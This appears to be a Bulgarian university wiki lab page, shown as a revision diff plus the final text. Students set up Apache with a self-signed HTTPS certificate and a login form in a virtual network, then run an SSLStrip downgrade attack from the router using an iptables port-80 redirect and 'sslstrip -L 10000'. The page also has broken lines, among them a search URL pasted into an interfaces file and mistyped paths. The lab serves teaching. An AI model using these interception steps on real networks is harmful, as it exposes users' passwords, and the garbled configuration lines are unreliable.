Apache SSL: Difference between revisions
No edit summary |
|||
| (26 intermediate revisions by the same user not shown) | |||
| Line 1: | Line 1: | ||
Конфигуриране на Apache с поддръжка на https (TLS/SSL) | Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip | ||
Опитна постановка: | |||
Router, Web Server, Web Client. | |||
==Мрежови настройки== | |||
===Router (Attacker)=== | |||
===Attacker=== | |||
Играе ролята на рутер, токча за достъп към Интернет. | Играе ролята на рутер, токча за достъп към Интернет. | ||
Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal. | Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal. | ||
Настройка DNS | |||
*nano /etc/resolv.conf | |||
nameserver 8.8.4.4 | |||
Настройки на Интерфейси: | Настройки на Интерфейси: | ||
nano /etc/network/interfaces | |||
<code><pre> | <code><pre> | ||
auto | auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs | ||
iface lo inet loopback | iface lo inet loopback | ||
| Line 25: | Line 32: | ||
address 172.16.1.1 | address 172.16.1.1 | ||
netmask 255.255.255.0 | netmask 255.255.255.0 | ||
</pre></code> | |||
Активиране на NAT | |||
echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local | |||
echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local | |||
=== Web сървър === | |||
*nano /etc/resolv.conf | |||
nameserver 8.8.4.4 | |||
<code><pre> | |||
# The primary network interface | |||
allow-hotplug eth0 | |||
iface eth0 inet static | |||
address 172.16.1.2 | |||
netmask 255.255.255.0 | |||
gateway 172.16.1.1 | |||
</code></pre> | </code></pre> | ||
===Victim=== | Инсталация на web сървър | ||
Инсталиране на софтуерни пакети '''''telnet''''', '''''openssl''''', '''''apache2''''', '''''ssh''''' | |||
apt-get update | |||
аpt-get install apache2 openssl ssh | |||
Проверка дали работи web сървърът. | |||
telnet localhost 80 | |||
GET | |||
=== Web client (Victim) === | |||
windows XP | windows XP | ||
*IP: 10.3.45.1XX/16 | *IP: 10.3.45.1XX/16 | ||
| Line 37: | Line 71: | ||
== | ==Host машина== | ||
Добавяне на път от host машината към web сървъра | |||
route add -net 172.16.1.0/24 gw 10.3.45.100 | |||
== Web форма == | |||
Тестване на web сървъра през Web клиента | |||
*В браузъра се отваря: | |||
: | http://172.16.1.2/index.html | ||
Качване на форма form.html | |||
*Подгответе web форма и я качете през ssh на веб сървъра | |||
<code><pre> | |||
<html> | |||
<head> | |||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> | |||
<title>Untitled Document</title> | |||
</head> | |||
<body> | |||
<form action="https://172.16.1.2/index.html" method="post"> | |||
<table> | |||
<tr> | |||
<td>User: </td> | |||
<td><input type="text" name="name" value="" maxlength="100" /></td> | |||
</tr> | |||
<tr> | |||
<td>Password</td> | |||
<td><input type="password" name="pass" value="" maxlength="100" /></td> | |||
</tr> | |||
<tr> | |||
<td colspan="2"><input name="submit" type="submit" value="Submit" /></td> | |||
</tr> | |||
</table> | |||
</form> | |||
</body> | |||
</html> | |||
</pre></code> | |||
Свързване от '''''Хост компютъра''''' към виртуалния Web сървър през ssh. | |||
Отваря се терминал на хост машината и се изпълнява | Отваря се терминал на хост машината и се изпълнява | ||
:-$ ssh student@ | :-$ ssh student@172.16.1.1 | ||
===Активиране на https=== | |||
*Активиране на ssl модул: | |||
a2enmod ssl | |||
*Настройка на web директория Apache. Ще се модифицира примерната конфигурация | |||
cd /etc/apache2 | |||
cp sites-available/default-ssl sites-enabled/ | |||
nano sites-enabled/default-ssl | |||
service apache2 restart | |||
*добавете към index.html връзка към формата | |||
<a href=https://172.16.1.2/form.html >Forma</a> | |||
=== Генериране на собствен самоподписан сертификат === | |||
*Да се създаде директория /root/keys | |||
mkdir /root/keyes | |||
cd /root/keys | |||
*Генериране на самоподписан сертификат и частен ключ | |||
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key | |||
Common Name (e.g. server FQDN or YOUR name) []: '''''tugab.bg''''' | |||
... | |||
*Проверете генерираните файлове | |||
Редактирайте пътищата към сертификата и частния ключа | *Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh | ||
<code><pre> | <code><pre> | ||
... | |||
SSLEngine on | SSLEngine on | ||
| Line 87: | Line 156: | ||
SSLCertificateFile /root/keys/apache.pem | SSLCertificateFile /root/keys/apache.pem | ||
SSLCertificateKeyFile /root/keys/apache.key | SSLCertificateKeyFile /root/keys/apache.key | ||
... | |||
</pre></code> | |||
*Рестатирайте apache и Тествайте връзката към '''''https://10.3.45.1XX''''' | |||
service apache2 restart | |||
== Атака на връзката == | |||
Инсталиране sslstrip | |||
apt-get install sslstrip | |||
пренасочване на порт | |||
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 | |||
стартиране на sslstrip | |||
sslstrip -L 10000 | |||
Да се тества премахването на https връзките. | |||
Latest revision as of 10:04, 22 October 2015
Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip Опитна постановка: Router, Web Server, Web Client.
Мрежови настройки
Router (Attacker)
Играе ролята на рутер, токча за достъп към Интернет. Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.
Настройка DNS
- nano /etc/resolv.conf
nameserver 8.8.4.4
Настройки на Интерфейси: nano /etc/network/interfaces
auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
iface lo inet loopback
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 10.3.45.2XX
netmask 255.255.255.0
gateway 10.3.0.1
allow-hotplug eth1
iface eth1 inet static
address 172.16.1.1
netmask 255.255.255.0
Активиране на NAT
echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local
Web сървър
- nano /etc/resolv.conf
nameserver 8.8.4.4
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 172.16.1.2
netmask 255.255.255.0
gateway 172.16.1.1
</code>
Инсталация на web сървър
Инсталиране на софтуерни пакети telnet, openssl, apache2, ssh
apt-get update
аpt-get install apache2 openssl ssh
Проверка дали работи web сървърът.
telnet localhost 80
GET
Web client (Victim)
windows XP
- IP: 10.3.45.1XX/16
- gateway: 10.3.0.1;
- DNS: 8.8.4.4
- през cmd се добавя път към вътрешна мрежа:
route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX
Host машина
Добавяне на път от host машината към web сървъра
route add -net 172.16.1.0/24 gw 10.3.45.100
Web форма
Тестване на web сървъра през Web клиента
- В браузъра се отваря:
http://172.16.1.2/index.html
Качване на форма form.html
- Подгответе web форма и я качете през ssh на веб сървъра
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>
<body>
<form action="https://172.16.1.2/index.html" method="post">
<table>
<tr>
<td>User: </td>
<td><input type="text" name="name" value="" maxlength="100" /></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" name="pass" value="" maxlength="100" /></td>
</tr>
<tr>
<td colspan="2"><input name="submit" type="submit" value="Submit" /></td>
</tr>
</table>
</form>
</body>
</html>
Свързване от Хост компютъра към виртуалния Web сървър през ssh.
Отваря се терминал на хост машината и се изпълнява
:-$ ssh student@172.16.1.1
Активиране на https
- Активиране на ssl модул:
a2enmod ssl
- Настройка на web директория Apache. Ще се модифицира примерната конфигурация
cd /etc/apache2
cp sites-available/default-ssl sites-enabled/
nano sites-enabled/default-ssl
service apache2 restart
- добавете към index.html връзка към формата
<a href=https://172.16.1.2/form.html >Forma</a>
Генериране на собствен самоподписан сертификат
- Да се създаде директория /root/keys
mkdir /root/keyes
cd /root/keys
- Генериране на самоподписан сертификат и частен ключ
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key
Common Name (e.g. server FQDN or YOUR name) []: tugab.bg
...
- Проверете генерираните файлове
- Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
...
SSLEngine on
# A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert package. See
# /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
# If both key and certificate are stored in the same file, only the
# SSLCertificateFile directive is needed.
SSLCertificateFile /root/keys/apache.pem
SSLCertificateKeyFile /root/keys/apache.key
...
- Рестатирайте apache и Тествайте връзката към https://10.3.45.1XX
service apache2 restart
Атака на връзката
Инсталиране sslstrip
apt-get install sslstrip
пренасочване на порт
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
стартиране на sslstrip
sslstrip -L 10000
Да се тества премахването на https връзките.
https://wiki.debian.org/Self-Signed_Certificate
http://blog.donovan-jimenez.com/2011/03/adding-new-trusted-certificate-on.html
http://httpd.apache.org/docs/2.2/ssl/ssl_faq.html
http://www.thegeekstuff.com/2011/03/install-apache2-ssl/
http://onlamp.com/onlamp/2008/03/04/step-by-step-configuring-ssl-under-apache.html